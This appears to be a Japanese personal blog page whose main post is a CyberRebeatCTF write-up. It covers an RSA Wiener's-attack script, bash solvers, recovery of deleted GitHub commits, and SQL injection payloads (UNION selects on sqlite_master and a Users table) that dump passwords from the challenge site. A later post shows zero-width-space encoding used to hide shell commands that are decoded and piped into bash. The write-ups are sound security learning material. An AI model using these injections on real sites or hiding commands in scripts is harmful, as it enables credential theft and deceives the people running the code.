ニュース

CyberRebeatCTF Writeup

kanata約1ヶ月前に追加

CTF Writeup CyberRebeatCTF

結果&感想

CyberRebeatCTF

Love UI Kit.

でも結構解けて3232点で26位。チーム一人にしては頑張った方では

question.jpg

ranking.jpg

writeupは、すごい簡単なヤツは省略しました

Binary - SimpleBinary

pedaでステップ実行するだけ

Binary_SimpleBinary.png

Crypto - Rotation

問題

P4P6S{9RN4RUNPXR45}

ROT13の亜種と踏んで対応表を作る

P4P6SはCRCTFになることが判っているので、それをヒントに

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
NOPQRSTUVWXYZ__________ABCDEFGHIJKLM

P4P6S{9RN4RUNPXR45}
CRCTF{WEAREHACKERS}

Crypto FLAG.encrypted

暗号文と公開鍵を渡される

公開鍵を見てみる

$ openssl rsa -text -pubin < public-key.pem
Public-Key: (2048 bit)
Modulus:
    00:f7:aa:82:b3:38:65:4d:c5:5b:41:ce:6c:30:c2:
    94:3f:12:eb:9c:4d:f0:90:24:fe:9d:77:31:90:9f:
    a8:fc:c8:92:78:7a:59:ab:cf:cf:5d:18:12:03:2e:
    8f:9e:a7:5d:aa:d5:d5:6c:67:2b:ab:27:c8:bd:83:
    93:f9:2b:b3:f8:e2:f2:e1:88:cb:db:a8:96:1b:35:
    e5:54:f5:ae:8a:c6:39:23:f9:a2:83:d9:00:a2:c5:
    41:32:6d:81:12:15:6e:fe:d5:57:c1:dc:09:05:39:
    f6:d6:c5:d0:76:25:97:dc:13:d8:b6:e9:2a:ed:24:
    dc:a7:88:c0:64:cb:df:b8:c6:d4:da:7f:ba:77:70:
    9e:27:70:11:19:bb:d1:24:b9:fc:9e:ac:e7:95:d4:
    7d:24:46:15:6e:99:a9:c7:96:3d:ed:d6:77:63:38:
    70:8f:0e:6f:ee:3a:90:80:4f:d6:d5:b4:67:e0:98:
    d7:a0:e2:f0:cc:90:70:92:f6:7e:68:14:b9:8a:aa:
    fb:df:82:a4:25:04:35:b1:a2:eb:0f:98:5e:18:49:
    06:b0:53:8c:30:0d:7a:d5:fd:62:36:5e:73:5e:a2:
    c8:2b:6e:0a:98:47:e4:ab:22:07:67:88:ea:c8:68:
    a0:17:23:3d:12:6b:2c:0a:5c:8c:fe:a5:65:c0:f6:
    cf:9d
Exponent:
    00:b4:57:8e:b1:c5:f8:c4:7c:07:69:4e:2a:45:96:
    97:6d:ac:84:35:01:56:ed:1e:03:f7:c1:2b:30:79:
    c0:34:58:b3:e2:dd:94:49:91:fb:de:89:5c:66:f8:
    ad:9a:7a:f8:7a:7e:2d:14:b4:d0:60:cb:d1:7c:c3:
    55:b5:4c:86:5d:cc:74:f7:03:f7:b2:e2:20:4e:0d:
    60:2d:01:63:8f:b3:6e:ae:ec:89:9a:d7:22:56:90:
    7e:e5:32:2e:80:b8:b2:58:95:58:9f:1c:e6:bd:1c:
    a9:8c:38:53:82:07:b1:69:69:01:8f:8c:2f:0e:a5:
    3c:96:64:0d:00:3f:2b:57:af:3e:e0:96:52:44:a9:
    d3:72:43:2b:5b:3a:41:32:50:8b:70:ce:05:17:60:
    fb:9e:5f:70:b9:c9:cb:0e:56:eb:0b:7f:c2:04:d4:
    eb:b8:68:3b:b8:e5:c6:4a:49:b4:7b:c6:c9:2b:d0:
    5c:bf:ae:b8:f6:aa:35:0a:48:e3:0a:4b:5b:9d:c8:
    33:7f:6b:96:46:29:52:01:89:83:13:cf:cf:4f:a7:
    0f:0b:c1:d8:fc:d1:1a:0b:e9:6e:4a:16:32:76:f9:
    96:57:63:d5:fc:9c:fd:a7:26:0d:40:2d:2c:bd:f1:
    73:b4:bf:74:61:10:30:71:3b:4f:8d:5f:5b:ef:e7:
    33:e1
writing RSA key
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAQEA96qCszhlTcVbQc5sMMKU
PxLrnE3wkCT+nXcxkJ+o/MiSeHpZq8/PXRgSAy6PnqddqtXVbGcrqyfIvYOT+Suz
+OLy4YjL26iWGzXlVPWuisY5I/mig9kAosVBMm2BEhVu/tVXwdwJBTn21sXQdiWX
3BPYtukq7STcp4jAZMvfuMbU2n+6d3CeJ3ARGbvRJLn8nqznldR9JEYVbpmpx5Y9
7dZ3Yzhwjw5v7jqQgE/W1bRn4JjXoOLwzJBwkvZ+aBS5iqr734KkJQQ1saLrD5he
GEkGsFOMMA161f1iNl5zXqLIK24KmEfkqyIHZ4jqyGigFyM9EmssClyM/qVlwPbP
nQKCAQEAtFeOscX4xHwHaU4qRZaXbayENQFW7R4D98ErMHnANFiz4t2USZH73olc
Zvitmnr4en4tFLTQYMvRfMNVtUyGXcx09wP3suIgTg1gLQFjj7NuruyJmtciVpB+
5TIugLiyWJVYnxzmvRypjDhTggexaWkBj4wvDqU8lmQNAD8rV68+4JZSRKnTckMr
WzpBMlCLcM4FF2D7nl9wucnLDlbrC3/CBNTruGg7uOXGSkm0e8bJK9Bcv6649qo1
CkjjCktbncgzf2uWRilSAYmDE8/PT6cPC8HY/NEaC+luShYydvmWV2PV/Jz9pyYN
QC0svfFztL90YRAwcTtPjV9b7+cz4Q==
-----END PUBLIC KEY-----

e(Exponent:の所)がめちゃめちゃデカイ(通常は、60000とかそんなオーダー)ので、Wiener's Attackという方法で秘密鍵を作ることができる

という訳でココを参考にする(これを解くpythonスクリプトが公開されている)

RSAwienerHacker.py

'''
Created on Dec 14, 2011

@author: pablocelayes
'''

import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator

def hack_RSA(e,n):
    '''
    Finds d knowing (e,n)
    applying the Wiener continued fraction attack
    '''
    frac = ContinuedFractions.rational_to_contfrac(e, n)

 中略

if __name__ == "__main__":
    #test_is_perfect_square()
    #print("-------------------------")
    #test_hack_RSA()
    e=22766071057080311941289025090582171055356241374729867687887721165996480747230400879635593368509050250879664911119593845131632736205037337764476149970317207453325852306744743355843865620488975017552101697514723815810433086583097066849281143179649731453788074604410013059110037363738062212112776408805474047616975914133565204728262194785129197335550911873746857764241100489778203898866941412395489839653170240092405989209278646213522785197290066584628647242197250525516210135602818305240062919066210956719110372916047407851800476348031106117342132809755720425300509425412742257946576118121595189882915440991231610926049
    n=31264943211208004265136257812922871300684039354012330190834942986731934389912197706421706868451670101634969269274623828581050676733228020854883441494567900924428451571798331504026565707472121772002140681756280190535290943933921834846379665606960802397274296703426557981596105415677658499356618548233939389723076124471098440146923189296244078349641695576997335766674231277153794543785116533620076935082137870329278026757983028280620935089387958708697459641119539250284149601503334899598799831125405703179815161182156366487341348125463136351944709488739527831476641990338237417959538685045943046162779336438891834429341
    c=24567627059377562868105614484423886273024535858360108293709261679303974926550497189439318672624908577264506046476457095137786384831468525272589929094908337881436149324019794812804219891902253459573562430438939521995518048214801992716419439933946327566830472479815195083586095517593863373723430345120492159440493853454549917293994609440452210512119496727038202944137382941943646738720300878617094056966029945525818099278253655536613076435706468907044890014106958504434142807788873217030828773024692575731383406593586446571051817010298103654965540184106091735284849357722355533064377719568465964571451310703450179760412

    hacked_d = hack_RSA(e, n)

    m=pow(c, hacked_d, n)
    print m
    print("%0512x" %m).decode("hex") 

出た

$ python RSAwienerHacker.py 
Hacked!
11405121556080574200507976540560550567250962398176989090968706090657735628827286003460256776456266696526501583189995873715586019586481188841669553558064962347526003585805296128704234019155927711938147927921799855258102900099957024052894182297906442193293573956451926259091091855321350867274034175705817860160056101092426800441790539634641631263205085840727897980883608411419899029774809300174380547858121642152179538920767606647604516848492915723070085962700864043872803063238370675580861448504677111372925814117825694429346520229939794702430188586491323156507194176,`/nIPSG766*|,zso123097695888071358419235048714
Dx abyb}0<ƁOGK}
B."Yϱ
     򿍨2:JY\     umU2y*4ԄqquᯖwL CRCTF{On that day, there was definitely something behind Warlock's disappearance.}

Misc - Readme

Misc_readme.jpg

気合で読む、こんな感じ

Misc_readme_excel.jpg

Programing - Calculation

nc 59.106.212.75 8080

こういう問題文。繋ぐと計算式が表示されて、計算結果を返すのを繰り返す
みんな好きな言語でプログラミングすると思うんだけど、こういうのシェルスクリプトでサクッといけるんやで

#!/bin/sh

exec 5<>/dev/tcp/59.106.212.75/8080

for I in {1..101}
do
  cat 0<&5>test.txt &
    sleep 1
    pkill cat
    ANSWER=`cat test.txt|tail -1|sed 's/=//g'|tr -d $'\357\273\277'|bc`
    echo ${ANSWER} >&5
    echo Debug [${I}] $(cat test.txt) '=' ${ANSWER}
done

exit 0

Programing - Prime Factor

Answer the maximum prime factor.

nc 59.106.212.75 8081

example:
Question:120
Answer:5 (Prime Factors: 2, 3, 5)

こういうのもシェルスクリプトでサクッといけるんやで(2回目)

#!/bin/sh

exec 5<>/dev/tcp/59.106.212.75/8081

for I in {1..101}
do
  cat 0<&5>test.txt &
    sleep 1
    pkill cat
    ANSWER=`cat test.txt|tail -1|sed 's/=//g'|tr -d $'\357\273\277'|factor|awk '{print $NF}'`
    echo ${ANSWER} >&5
    echo Debug [${I}] $(cat test.txt) '=' ${ANSWER}
done

exit 0

Recon - Tweet

Let's check our official twitter account!

はい

Recon - CyberRebeatScripts

Do you know Github?

調べると出てくる

https://github.com/ennach/CyberRebeatScripts

これを git clone して、git log -p する

commit 86cc1779522ad0708ad0b829935b08ac42b2588d
Author: ennach <ennach@gmail.com>
Date:   Tue Sep 4 22:38:27 2018 +0900

    delete FLAG

diff --git a/chapter1-1en.txt b/chapter1-1en.txt
index db0ded3..a16cc12 100644
--- a/chapter1-1en.txt
+++ b/chapter1-1en.txt
@@ -98,7 +98,6 @@
 "Hiro, I'll take the lady to go."
 "Neko-san already did that joke."
 @erase_chara
-@FLAG=CRCTF{I cut down her gag in a single strike}

Recon - I changed my history on Github!

I changed my history on Github!

ちょっとハマった。該当のリポジトリ

https://github.com/ennach/ChangeHistory

消されたコミットIDは、このページから解る

https://github.com/ennach

[ToDo] I committed the FLAG by mistake!

That commit hash is c476614bc439fe1910e494422b3aa207b776d486 I have to remove it!

無かった事にされたコミットIDは、git cloneしても持ってこれない
ただGitHub上にはあるという事を以下のサイトで知った

No Purpose - GitHub、消えたコミットを追え
http://highwide.hatenablog.com/entry/2015/02/06/204552

という訳で、以下にアクセスすると解る
https://github.com/ennach/ChangeHistory/commit/c476614bc439fe1910e494422b3aa207b776d486

+ からあげとご飯を皿に移し、電子レンジへ放り込む。
+ ちなみにこの電子レンジ、家電の中でも特に魔改造が施されていて、インターフェースまわりは原形を留めてすらいない。代わりにメインの組み込み系がクラックされていて、通常は使用できないモードや機能が使えるようになっているのだという。
+ なんの役にも立たないし、使う気もないのでそちらの機能を試したことは一度もないが。
+「この量なら2分くらいかな」
+ コマンドラインを呼び出し、電子レンジに命令を送る。条件はデフォルト、ただしタイマーのみ120sに設定。実行コマンドを入力して送信すると、ノータイムで目の前の電子レンジが回り始めた。
+ まるで隣の家に宅配便を送るみたいな迂遠さだ。
+「これ、もっとどうにかならないの?」
+「CRCTF{the timer is set to 120 seconds}」

Stegano - secret.pdf

黒塗りされたpdfが渡される

Stegano_secretpdf.jpg

コピペで中身見れる

FLAG is CRCTF{I don't know of a time without the internet}

Stegano - Alpha

Stegano_alpha.png

これに何か入っているらしい
色んな画像ソフトで画質調整すると、おそよ文字っぽいものが見えるのだけど、男性の部分が邪魔して全体が見えない

Stegano_secretpdf1.jpg

png画像のアルファチャンネルだけ上手く抽出できれば良さそうなのだけれど、その方法に難儀していた

うさみみハリケーンの付属ソフト「青い空を見上げればいつもそこに白い猫」で解析できることが解った

うさみみハリケーン Ver 0.28 最新オンラインヘルプ - ステガノグラフィーの解析について
https://digitaltravesia.jp/usamimihurricane/webhelp/_RESOURCE/MenuItem/another/anotherAboutSteganography.html

と、言うわけで「青い空を見上げればいつもそこに白い猫」使うと解る

Stegano_secretpdf2.jpg 60%

Stegano - Last 5 boxes

The FLAG is hiding at the last 5 boxes.

https://cyberrebeat.adctf.online/static/a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4

けっこう時間かかった。。

mp4の動画に隠された情報を見つけろいう事やね。どうやらmp4はボックス構造というのになっているらしい
mp4boxというツールで見てみる

<?xml version="1.0" encoding="UTF-8"?>
<!--MP4Box dump trace-->
<IsoMediaFile xmlns="urn:mpeg:isobmff:schema:file:2016" Name="a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4">
<FileTypeBox Size="40" Type="ftyp" Specification="p12" Container="file" MajorBrand="M4V " MinorVersion="0">
<BrandEntry AlternateBrand="M4V "/>
<BrandEntry AlternateBrand="M4A "/>

中略

</MovieBox>
<MediaDataBox Size="20902115" Type="mdat" Specification="p12" Container="file" dataSize="20902107">
</MediaDataBox>
<UUIDBox Size="1024" Type="uuid" UUID="{18E66A6B-FBDF0D41-80DF83B8-E1CE2B59}" Specification="unknown" Container="unknown" >
</UUIDBox>
<UUIDBox Size="1024" Type="uuid" UUID="{07B14494-B8E2AF4D-9BD6652B-52052AC6}" Specification="unknown" Container="unknown" >
</UUIDBox>
<UUIDBox Size="1024" Type="uuid" UUID="{14C6D472-C69F4846-ACD23749-2ED79CB9}" Specification="unknown" Container="unknown" >
</UUIDBox>
<UUIDBox Size="1024" Type="uuid" UUID="{792E16CC-B4887445-AC310002-334FD627}" Specification="unknown" Container="unknown" >
</UUIDBox>
<UUIDBox Size="1612" Type="uuid" UUID="{C386DEC1-144E214D-9BBE788C-4474F39F}" Specification="unknown" Container="unknown" >
</UUIDBox>
</IsoMediaFile>

なんか1024,1024,1024,1024,1612byteのデータがお尻にくっついているっぽい
見てみますか

Stegano_Last5boxes1.png

あ、赤い所見てみたら「臼NG」の文字が(目grep)、pngファイルのマジックバイトやコレ
きっとお尻にpngがくっついてるね!
しかし、これを切り出して表示したけど、真っ黒

おそらく、残りの4box分のヘッダ情報を取り除かなければ!
ファイルフォーマットを確認してみる

あるべるのIT関連メモ - MP4(コンテナ) - 1.Box構造
https://albel06.hatenablog.com/entry/2017/12/20/205103

こうなってて

aligned(8) class Box (unsigned int(32) box type, 
                      optional unsigned int(8)[16] extended_type) {
    unsigned int(32) size;
    unsigned int(32) type = boxtype;
    if (size == 1) {
        unsigned int(64) largesize;
    } else if (size == 0) {
        // box extends to end of file
    }
    if (boxtype == 'uuid') {
        unsigned int(8)[16] usertype = extended_type;
    }
}

こうなってるらしい

ユーザー定義Box
Boxの定義にはoptionalでextended_typeというものがあり、ユーザーがuuidを設定することでユニークなユーザー定義Boxを使用することができる。そのときのBoxタイプは'uuid'とし、typeの後ろに16byteのuuidを記録する。uuid Box以下、残りの領域は自由に定義が可能。

どうも24byte分の情報を除く(残り四箇所)しなきゃいけないらしい。確認してみる

Stegano_Last5boxes2.png

あーはいはい、そういうことね完全に理解した
仕様通りや

00 00 04 00 : size 1024 byte
75 75 69 64 : type "uuid"
07B14494-B8E2AF4D-9BD6652B-52052AC6 : uuid

という訳でこれらを削除してpng画像完成!

Stegano_Last5boxes3.png

Web - White page

http://hidden-field.cyberrebeat.adctf.online/index.php
id:Hiro
password:LittleGarden

ログインしたくてもできないページ
Chromeのデベロッパーツールで開くとINPUTタグにhidden属性がついてる
これをデベロッパーツールで削除すればログインできる

Web_Whitepage1.png

はい

Web_Whitepage2.png

Web - Uploader

Find the secret file.
http://sqli.cyberrebeat.adctf.online/index.php

id:guest
pass:guest

なんかいろいろやっていると SQL Injection の脆弱性を見つけた
エラーメッセージからSQLiteだという事もわかった

File Name: にこれを入力

' OR 'A' = 'A' --

Web_Uploader1.png

secret.zipが出てきた。ダウンロードしたらzipパスワードかかってる

SQLiteとわかったので、テーブル情報を抜く

' OR 'A' = 'A' union select name,sql,null,null from sqlite_master where type='table' --

Web_Uploader2.png

Files   CREATE TABLE "Files" ( `id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, `file_name` TEXT NOT NULL, `publication_date`   INTEGER NOT NULL, `upload_userid`   TEXT )      
Users   CREATE TABLE `Users` ( `userid` TEXT NOT NULL, `password`   TEXT NOT NULL )     
sqlite_sequence CREATE TABLE sqlite_sequence(name,seq)  

ふんふむ。こんなテーブルだね

Files

id file_name publication_date upload_userid
? ? ? ?

Users

userid password
? ?

じゃ、Usersテーブルからパスワード抜きましょ

' OR 'A' = 'A' union select userid,password,null,null from Users --

Web_Uploader3.png

じゃ、harada seishin0129 でログインしましょう!

Web_Uploader4.png

ほい、zipのパスワードゲット!
zip展開して、コレ

CRCTF{Today's_internet_is_full_of_concerning_vulnerabilities}

jus共催 第37回シェル芸bot生きてるか(中略)シェル芸bot向けシェル芸勉強会 に参加させて頂きました!

kanata約1ヶ月前に追加

むしろまとめが出来たらここに貼りたく

jus共催 第37回シェル芸勉強会リンク集 | 上田ブログ

null

jus共催 第37回シェル芸bot生きてるかどうか分からないけどシェル芸bot向けシェル芸勉強会

2018年9月1日 さくらインターネットさんセミナールームにて。今回は文字コードの話題が多かったです。問題と解答:

午前の部

鳥海さんのスライド
https://umidori.github.io/shellgei-37th-am/

知見

毎回勉強になります。以下、自分用メモ

awkの中でもパイプが使える

matsuya| kakasi -JH -i utf-8 -o utf-8 | awk '{print | "rev" }'

Twitterで表示する際、行頭の半角スペースが削除されちゃうため、.とか入れて改行するsed

echo hoge | sed 1i.

LT

LTした。これ。Unicodeの闇

jus共催 第36回七夕・・・7は素数じゃないですか(しかも2つ)シェル芸勉強会 に参加させて頂きました!

kanata3ヶ月前に追加

jus共催 第36回シェル芸勉強会を開催しました | 上田ブログ

null

jus共催 第36回七夕・・・7は素数じゃないですか(しかも2つ)シェル芸勉強会

2018年7月7日さくらインターネットさんのセミナールームにて出題:

知見

毎回勉強になります。以下、自分用メモ

パイプの出力はループに渡せる

$ seq 10|while read s ;do echo "ループ$((++l))回目" $s; done
ループ1回目 1
ループ2回目 2
ループ3回目 3
ループ4回目 4
ループ5回目 5
ループ6回目 6
ループ7回目 7
ループ8回目 8
ループ9回目 9
ループ10回目 10

peeコマンドは便利(moreutils)

pee is like tee but for pipes. Each command is run and fed a copy of the standard input. The output of all commands is sent to stdout.
Note that while this is similar to tee, a copy of the input is not sent to stdout, like tee does.

LT

深い

素晴らしい…!

LTした。これ。みんなで仕込もうゼロ幅スペース!

NICTオープンハウス2018に行ってきました!

kanata4ヶ月前に追加

年一回、NICTの門が開かれるんですが、平日にやる年が多いです。今年は運良く土曜日にやっていたので行って参りました。

open-house2018 | NICT-情報通信研究機構

【講演者略歴】  熊本県生まれ。東京大学工学部卒業後、ボストン本社の戦略コンサルティング会社ベイン&カンパニーで外資系および日系企業の経営コンサルティングに従事。1992年よりアップルコンピュータ社で市場開発やマーケティング本部長職などを歴任。97年に同社を休職し、陸路でヨーロッパに渡り、フランスの INSEAD 、その後スイス国際経営大学院 (IMD) にて MBA を取得。 ...

全てにおいて、全部面白くお話を聞かせて頂きました。
研究者さんと直接話しが出来て楽しいです(素人でもわかるように説明してくださいます)

気になった展示内容

サイバーセキュリティ関係

SeckHack365の紹介

20180630_NICT1.jpg

WarpDrive

Chromeプラグインでタチコマが怪しいサイトを調査してくれる

https://warpdrive-project.jp/

20180630_NICT2.jpg

STARDUST

スーパーすごいハニーポット

20180630_NICT3.jpg

NIRVANA改弐

これが、カッコよくてすごい便利そうでした。

  • 管理下のサーバのパッチ適用具合が一目瞭然
  • 個別にサーバの停止など、運用管理機能がある

20180630_NICT4.jpg

オペレーションルーム

オペレーションルームを見学させてもらいました!
ここで日本へのサイバー攻撃が監視されているんですね~

20180630_NICT5.jpg

ランチ!

社食が頂ける!

20180630_NICT_lunch.jpg

すぐ使えるやつ

以下は、展示されていましたがすぐ使えるやつ(良さそう)

VoiceTra

期待。ちょっと試してみます。

VoiceTraサポートページ - NICT

NICTが提供する音声翻訳アプリ「VoiceTra」のサポートページです。

DISAANA & D-SUMM

地震が起こったらTwitterとかみちゃうけど、コレみたほうがいいかもしれない
デマを検出する仕組みもあるらしい

DISAANA - 対災害SNS情報分析システム【リアルタイム版】

対災害SNS情報分析システムDISAANAは、今現在のTwitterへの投稿をリアルタイムに分析し、エリアを指定するとそこで発生している災害に関する問題・トラブルを自動的に抽出したり、「大雨が降っているのはどこ」といった質問の回答候補をTwitterの投稿から抽出し、リスト形式または地図形式で表示できます。今まさに起きている災害の情報を簡単に入手する事ができます。パソコン、スマートフォン、タ...

D-SUMM 災害状況要約システム リアルタイム版

D-SUMMは、Twitter上の災害情報を分かりやすく整理・要約するシステムです。

WarpDrive

WarpDrive

攻殻機動隊S.A.C.に登場するAI『タチコマ』を電脳空間にリアライズ。Web媒介型攻撃対策用『タチコマ・セキュリティ・エージェント』を無償配布! 1万⼈規模のPCにインストールされたタチコマたちがユーザのWebアクセスを大規模観測。並列化(情報集約、横断分析、新機能展開等)によりタチコマが成長! ...

Unicode ゼロ幅スペースを利用して情報を隠して仕込む

kanata6ヶ月前に追加

ゼロ幅スペースというUnicodeの闇

ZeroWidthSpace

動機 : 先日こういう話題があった

ゼロ幅文字にエンコードした隠し情報で、文書をリークしたメンバーを特定

とある会員制掲示板からの文書の流出に困った運営者が、 ユニコードの見えない文字「ゼロ幅文字(Zero-Width characters)」を使って流出させたユーザーを特定した、という話 が出ていました。 ...

  • 要約
    • 競技ビデオゲームのチームが、プライベートの掲示板を利用
    • 外部の掲示板にコピペしているやつがいた
    • 見た目がわからない文字を仕込んで犯人を特定

原理 : Unicodeゼロ幅スペースを仕込んだ

ゼロ幅スペース(Wikipedia)

コンピュータの組版に用いられる非表示文字で、文書処理システムに対して語の切れ目を示すのに用いる

めっちゃ種類ある

U+034F , U+200B , U+200C , U+200D , U+200E , U+200F , U+2028 , U+2029 , U+202A , U+202B , U+202C , U+202D , U+202E , U+2061 , U+2062 , U+2063 , U+FEFF

いろんな事に(難読化シェル芸)に使えるんじゃ・・・!

元ネタに習って4種類を使う ⇒ 4進数で表現できる!

CodePoint 名称 デコード時
U+200B ゼロ幅空白 0
U+200C ゼロ幅非接合子(筆記体の時の制御) 1
U+200D ゼロ幅接合子(筆記体の時の制御) 2
U+FEFF ゼロ幅のノーブレークスペース 3

ゼロ幅スペースにエンコード

  1. 文字を16進数に変換(xxd)
  2. 16進数を4進数に変換(bc)
  3. 0 1 2 3 をゼロ幅スペースに置換(sed)
ZWS1=$'\u200b'
ZWS2=$'\u200c'
ZWS3=$'\u200d'
ZWS4=$'\ufeff'

echo "unko" |xxd -p|tr a-z A-Z \
  |sed 's/^/obase=4; ibase=16; &/g'|bc \
  |sed s/0/$ZWS1/g |sed s/1/$ZWS2/g \
  |sed s/2/$ZWS3/g |sed s/3/$ZWS4/g 

仕込んだゼロ幅スペースのデコード

  1. ゼロ幅スペースを 0 1 2 3 に置換(sed)
  2. 16進数に変換(bc)
  3. バイナリに変換(xxd)
ZWS1=$'\u200b'
ZWS2=$'\u200c'
ZWS3=$'\u200d'
ZWS4=$'\ufeff'

echo '‌‌‌‌‍‍‌‍‍‌‍​​‍‍' \
  |sed s/$ZWS1/0/g |sed s/$ZWS2/1/g \
  |sed s/$ZWS3/2/g |sed s/$ZWS4/3/g \
  |sed 's/^/obase=16; ibase=4; &/g'|bc|xxd -ps -r

※ echo '' の''にはゼロ幅スペース入ってる

ツール作った

ツール作ったのだけど、後述の 「Twitter用 Unicodeゼロ幅スペースぶっ込み用ツール」 の方が使い勝手がよい

Instration

ファイルダウンロードして実行権限をつけるだけ

$ wget https://raintrees.net/attachments/download/472/EncodeZeroWidthSpace.sh
$ chmod u+x ./EncodeZeroWidthSpace.sh
$ wget https://raintrees.net/attachments/download/473/DecodeZeroWidthSpace.sh
$ chmod u+x ./DecodeZeroWidthSpace.sh

動作環境

ただのシェルスクリプトなので、だいたいの環境(Linux,Mac,Unix)で動くのでは

以下で、動作確認しました。

  • CentOS Linux release 7.2.1511 x86_64

Usage

エンコード

./EncodeZeroWidthSpace.sh '💩'
'​​‍‌‍‌​‍‍‍‍‌​​‍‍'

デコード

./DecodeZeroWidthSpace.sh 'T​​‍‌‍‌​‍‍‍‍‌​​‍‍his is a pen'
'💩'

Twitter用 Unicodeゼロ幅スペースぶっ込みツール に作り直した

前述のツールだとTwitterで使えないことがわかった

調査してTwitter用に良さそうな4種類のゼロ幅スペースを確認する

シェル芸bot氏のことも考慮して、割と真面目に作り直した

Instration

ファイルダウンロードして実行権限をつけるだけ

$ wget https://raintrees.net/attachments/download/486/zws
$ chmod u+x ./zws

動作環境

ただのシェルスクリプトなので、だいたいの環境(Linux,Mac,Unix)で動くのでは

以下で、動作確認しました。

  • CentOS Linux release 7.2.1511 x86_64

Usage

エンコード

実行すると '' が出力されるが間にゼロ幅スペースが詰まっている

./zws unko
'‌⁢‌‌​​‍‍‌‍⁢‍​​‍‍‌‍‍⁢​​‍‍‌‍⁢⁢​​‍‍'

パイプ経由でもできる

echo "unko"|./zws
'‌⁢‌‌​​‍‍‌‍⁢‍​​‍‍‌‍‍⁢​​‍‍‌‍⁢⁢​​‍‍'

ちなみにTwitterでは、ゼロ幅スペースはアスキー文字と同等に数えられるらしく、140文字ではなく280文字までいけた
エンコードサイズが280文字を超えるとWARNINGを出すようにしている(エンコード自体はする)

./zws aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[WARN] This encoded size over 280 characters. You can not tweet. Now 285 characters.
'‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌​​‍‍'

シェル芸bot氏はゼロ幅スペースを普通にマルチバイト文字として数える(140文字制限)ので、bot氏に処理をお願いする時は140文字までの制限を意識する必要がございます

ゼロ幅スペースの文字数を数えるには wc -m コマンドで数えることができます

./zws 'I hava an apple'|wc -m
67

この短めの文で67文字も使うのでTwitterにはあまり長い文字列が仕込めません

デコード

base64コマンドっぽいインタフェースにした
ゼロ幅スペース以外の文字があっても、そこは無視してデコードする

./zws -d 'this is a pen‌⁢‌‌​​‍‍‌‍⁢‍​​‍‍‌‍‍⁢​​‍‍‌‍⁢⁢​​‍‍'
unko

もちろんパイプ経由でもいける

echo '‌⁢‌‌​​‍‍‌‍⁢‍​​‍‍‌‍‍⁢​​‍‍‌‍⁢⁢​​‍‍'|./zws -d
unko

使えるシュチュエーション

このシェル芸を実行したのは誰だ!

./zws -d 'echo unko⁢‍‌⁢‍‍‌⁢‍​​‌⁢‍​⁢‍​​‌‍‍‌⁢⁢‍​⁢‍​​‌‍‌‍‌​​‍‍'
私です

裏手順を隠しておく

./zws -d 'stop.sh #アプリを停止、yを入力‌⁢​​‌‍‍⁢‌‍‍‌‌‍⁢​‌‍⁢​​‍​​‌‍​‌‌⁢​​‌‍⁢​‌‍‍‌​​‍‍'
pkill apli

呪いを込めておく

./zws -d 'Start.sh #アプリ起動⁢‍‌‌‍⁢‍​‍⁢​​⁢‍​⁢‍​​‍‍​‍‍⁢‍​⁢‍​​‌‍‌⁢⁢⁢‍​⁢‍​​‌‍​‌​​​‍‍'
帰りたい

暗号的やり取り

実はTwitterはゼロ幅スペースが使えます

他のSNSでも使えそう(未確認)

./zws -d '草⁢‍‌⁢‍​‍‌‍⁢‍‌⁢‍‌‌‍‍​⁢‍⁢​‍⁢‍​⁢‍​​‌‍‍​​⁢‍​⁢‍​​‌‍‌⁢‍​​‍‍'
特売だぞ

難読化シェル芸

echoと見せかけたdateの実行

echo 'echo unko‌‍‌​‌‍​‌‌⁢‌​‌‍‌‌​​‍‍'|./zws -d|bash
2018716日 月曜日 10:26:37 JST

技術書典4に行ってキマシタワー (2コメント)

kanata6ヶ月前に追加

技術書典4

技術書の祭典が2018年4月22日(日)@秋葉原UDXで開催決定!

どんどん規模が大きくなる技術書の同人誌販売イベント。

コミケ自体は未だに行ったことがありませんが、技術書典だけは4回目。過去3回分もブログに書いてた。

なぜかこのイベントはだいたい雨なのだけれど、今回は快晴。来場者は第一回と比べると、、、それはそれはスゴイ量になっていました。
もぅ秋葉原UDXをもってしても収まらなさそうですねw

この短時間にめっちゃ来てたんやなって

戦利品

20180422_techbookfest4.jpg

楽しかった。
これ以外に俺らの愛したセキュリティをpdfにて購入しました。
GWにゆっくり読もうっと。

待ち時間対策

たぶん、「待ち時間を最小にする」と「欲しい本が売り切れるリスク」を考えると開場一時間前くらいに行くのがよさそう…
でも次回このパターンでいけるかはもぅわかんない。たぶん更に人が増えると思われる。

ちなみに整理券を貰いますが、そのまま待機の順列に並ぶことができます(?)

jus共催 第35回またまためでたいシェル芸勉強会 に参加させて頂きました!

kanata6ヶ月前に追加

jus共催 第35回またまためでたいシェル芸勉強会報告 | 上田ブログ

null

jus共催 第35回またまためでたいシェル芸勉強会

2018年4月7日@さくらインターネットさんのセミナールームにて問題と解答:

LTしましたが、内容がアレだったので公開を見合わせております。

知見

毎回勉強になります。以下、自分用メモ

# 踊るpiyokangoさん
curl parrot.live

# 改行の調整(忘れてること多し)
cat hoge|awk NF

あと、peeコマンドめっちゃ便利(moreutils)

